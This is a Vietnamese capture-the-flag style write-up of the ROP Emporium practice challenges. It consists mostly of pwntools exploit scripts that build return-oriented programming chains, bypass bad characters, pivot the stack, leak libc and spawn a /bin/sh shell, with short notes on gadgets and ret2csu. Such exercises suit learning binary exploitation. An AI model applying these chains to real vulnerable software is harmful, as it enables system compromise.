🤖ROP Emporium - Full
Ret2Win
Chương trình có vài biện pháp để tránh attacker có thể sử dụng elf.sym["<symbol>"]. Payload như sau:
from pwn import *
elf = ELF("./ret2win")
r = elf.process()
gdb.attach(r, api = True)
payload = cyclic(40) + p64(0x000000000040075a) <--- ret to puts of ret2win()
r.sendline(payload)
r.interactive()
Done

Link walkthrought ở đây.
+--------------------------------------------------------------------------------------------+
Split
from pwn import *
elf = ELF("./split")
r = elf.process()
payload = b"a" * 40
payload += p64(0x00000000004007c3)
payload += p64(0x601060)
payload += p64(0x000000000040074b)
r.sendline(payload)
r.interactive()
Done

Link walkthrought ở đây.
+--------------------------------------------------------------------------------------------+
Callme
from pwn import *
elf = ELF("./callme")
r = elf.process()
gdb.attach(r, api = True)
payload = b"a" * 40
payload += p64(0x000000000040093c) #<--- ropgadget
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
payload += p64(elf.sym["callme_one"])
payload += p64(0x000000000040093c) #<--- ropgadget
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
payload += p64(elf.sym["callme_two"])
payload += p64(0x000000000040093c) #<--- ropgadget
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
payload += p64(elf.sym["callme_three"])
r.sendline(payload)
r.interactive()
Done

Link walkthrought ở đây.
+--------------------------------------------------------------------------------------------+
Write4
from pwn import *
elf = ELF("./write4")
r = elf.process()
payload = b"a" * 40
payload += p64(0x0000000000400690) #<-- pop r14 ; pop r15 ; ret
payload += p64(0x601070)
payload += b"flag.txt"
payload += p64(0x0000000000400628) #<-- mov QWORD PTR [r14],r15
payload += p64(0x0000000000400693) #<-- pop rdi ; ret
payload += p64(0x601070)
payload += p64(elf.sym["print_file"])
r.sendline(payload)
r.interactive()
Done

Link walkthrought ở đây.
+--------------------------------------------------------------------------------------------+
Badchars
from pwn import *
elf = ELF("./badchars")
r = elf.process()
gdb.attach(r, api = True)
payload = b"a" * 40
store_addr = 0x601070
#recover "."
payload += p64(0x000000000040069c) #pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += b"fl___t_t"
payload += p64(store_addr)
payload += p64(0x71) # 0x71 ^ "_" == "."
payload += p64(store_addr + 4)
payload += p64(0x0000000000400634) # mov QWORD PTR [r13+0x0],r12
payload += p64(0x0000000000400628) #xor BYTE PTR [r15],r14b
# recover "x"
payload += p64(0x00000000004006a0) # pop r14 ; pop r15 ; ret
payload += p64(0x27) #0x27 ^ "_" == "x"
payload += p64(store_addr + 6)
payload += p64(0x0000000000400628) #xor BYTE PTR [r15],r14b
#recover "a"
payload += p64(0x00000000004006a0) # pop r14 ; pop r15 ; ret
payload += p64(0x3e) #0x3e ^ "_" == "a"
payload += p64(store_addr + 2)
payload += p64(0x0000000000400628) #xor BYTE PTR [r15],r14b
#recover "g"
payload += p64(0x00000000004006a0) # pop r14 ; pop r15 ; ret
payload += p64(0x38) #0x38 ^ "_" == "g"
payload += p64(store_addr + 3)
payload += p64(0x0000000000400628) #xor BYTE PTR [r15],r14b
payload += p64(0x00000000004006a3) # pop rdi ; ret
payload += p64(0x601070)
payload += p64(elf.sym["print_file"])
r.sendline(payload)
r.interactive()
Done

Link walkthrought ở đây.
+--------------------------------------------------------------------------------------------+
Fluff


Assembly- Intruction
xlat BYTE PTR ds:[rbx]
Instruction này có chức năng đọc và ghi dữ liệu (byte) từ địa chỉ bộ nhớ [rbx + al]
vào thanh ghi al
bextr rbx,rcx,rdx
Instruction này có chức năng sao chép dữ liệu từ thanh ghi rcx
sang thanh ghi đích rbx
với độ bài bit là thanh ghi rdx
.
stos BYTE PTR es:[rdi],al
Instruction này có chức năng lưu giá trị của thanh ghi al
vào [rdi]
sau đó tăng rdi
lên 1 đơn vị.
Done
from pwn import *
elf = context.binary = ELF("./fluff")
r = elf.process()
gdb.attach(r, '''
b*pwnme+152\n
b*questionableGadgets+18\n
c
''')
###############
# ROP chain #
###############
print_file = elf.sym["print_file"]
pop_rdx_rcx_add_rcx_bextr = 0x000000000040062a
xlat_ds_rbx_ret = 0x0000000000400628
stos_rdi_al_ret = 0x0000000000400639
_f = 0x4003c1 + 3
_l = 0x400238 + 1
_a = 0x4003cd + 9
_g = 0x4003cd + 2
_t = 0x4003cd + 8
_x = 0x400238 + 14
_dot = 0x4003c1 + 8
pop_rdi_ret = 0x00000000004006a3
#############
# Exploit #
#############
payload = b"a" * 40
payload += flat(
# store f
pop_rdi_ret,
0x601070,
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_f - 0x3ef2 - 0xb,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store l
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_l - 0x3ef2 - 0x66,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store a
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_a - 0x3ef2 - 0x6c,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store g
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_g - 0x3ef2 - 0x61,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store dot
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_dot - 0x3ef2 - 0x67,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store t
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_t - 0x3ef2 - 0x2e,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store x
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_x - 0x3ef2 - 0x74,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store t
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_t - 0x3ef2 - 0x78,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
pop_rdi_ret,
0x601070,
print_file
)
r.sendline(payload)
r.interactive()

Pivot (release Stack Pivoting)
Source
Cách 1:
from pwn import *
elf = context.binary = ELF("./pivot")
libc = elf.libc
r = elf.process()
gdb.attach(r,
'''
b*pwnme+182\n
b*pwnme+4\n
c
''')
#############
# ROP chain #
#############
pop_rsp_r13_r14_r15 = 0x0000000000400a2d
pop_rdi_ret = 0x0000000000400a33
pop_rax = 0x00000000004009bb
xchg_rsp_rax = 0x00000000004009bd
###########
# Exploit #
###########
r.recvuntil(b"pivot: ") #buffer
heap = int(r.recvuntil(b"df10"), 16) # recv buffer address
log.success(f"Buffer: {hex(heap)}")
#############
# LEAK LIBC #
#############
payload = flat(
pop_rdi_ret,
elf.got["puts"],
elf.plt["puts"],
elf.sym["pwnme"] + 4,
0x6010b0,
pop_rax,
heap,
xchg_rsp_rax
)
r.sendlineafter(b"land there\n> ",payload)
r.sendlineafter(b"stack smash\n> ",payload)
r.recvuntil(b"Thank you!\n")
puts_leak = u64(r.recv(6).ljust(8, b"\0"))
log.success(f"Puts Address: {hex(puts_leak)}")
libc.address = puts_leak - libc.sym["puts"]
log.success(f"Libc Base: {hex(libc.address)}")
###############
# Get Shell #
###############
payload = flat(
cyclic(40),
pop_rdi_ret + 1,
pop_rdi_ret,
next(libc.search(b"/bin/sh")),
libc.sym["system"]
)
r.sendline(payload)
r.interactive()
Cách 2:
from pwn import*
elf = context.binary = ELF('./pivot', checksec=False)
r = process("./pivot")
gdb.attach(r, '''
b*pwnme+113
c
''')
r.recvuntil(b"pivot: ") #buffer
leak = int(r.recvuntil(b"df10"), 16)
print("leak addr: ", hex(leak))
ret2win = leak + 0x1e2b71
payload = flat(
cyclic(0x28),
ret2win
)
r.sendlineafter(b"land there\n> ",payload)
r.sendlineafter(b"stack smash\n> ",payload)
r.interactive()

Nhận xét:
Đề bài tuy là bai vốt nhưng mà cách thứ 2 không hề bai vốt nhưng vẫn ra trong khi đó cách 1 làm theo pivot thì dài vch 🥲.
Bài này thực ra còn 1 cách nữa nhưng mà mình bó tay, dài v + lười @@
Ret2Csu
Hiểu đơn giản thì kĩ thuật này sẽ được sử dụng khi trong file nhị phân bị thiếu các gadget quan trọng như:
pop rdi ; ret
pop rsi ; ret
pop rdx ; ret
pop rcx ; ret
Giống như trường hợp dưới đây tôi chỉ thấy được 2 gadget sau:

Nếu chương trình cần truyền vào 3 tham số thì số gadget chúng ta thấy ở đây không thể đủ. Do đó kĩ thuật ret2csu
hay ret to __libc_csu_init
ra đời. Kỹ thuật này sẽ sử dụng các gadget bên dưới đây để có thể truyền tham số cho thanh ghi rdx
.


Ở trường hợp này thì các bạn có thể pop r15
trước xong sẽ mov
từ rdx
sang r15
.
Đó là đôi chút kiến thức cơ bản để bạn có thể sử dụng những gadget này để thay đổi giá trị của 3 parameters.
Solution
Ta có những giá trị sau đây cần cho việc khai thác.




Và tất nhiên để tránh việc bị lỗi khi các thanh ghi biến bị thay đổi khi ta ret nó từ đầu hàm usefulFunction thì địa chỉ chúng ta sẽ return là: 0x000000000040062a

Giai đoạn của nó tôi đã minh họa qua các mũi tên.
Có 1 vấn đề nữa ở đây đó là lệnh này:
ở đây bạn chỉ cần tính toán sao cho r12 + rbx*8 = địa chỉ nào đó. Nếu bạn tò mò 1 xíu bạn có thể thấy hàm _init bên trên không làm thay đổi bất cứ thanh ghi nào liên quan:

và câu lệnh này: . Để jne không xảy ra thì phải để cho rbp và rbx có giá trị bằng nhau tức là trước đó bạn nên trừ rbx trước khi gửi nó lên stack.
Mình sẽ cover lại quá trình đẩy giá trị lên stack để nó có thể thay đổi được 3 giá trị.

Và đây là stack thật sự sau khi gửi payload:

*Nó có 1 vài sai số xíu do mình ngại sửa payload ban đầu
Nch là vẫn oke.
Done

Last updated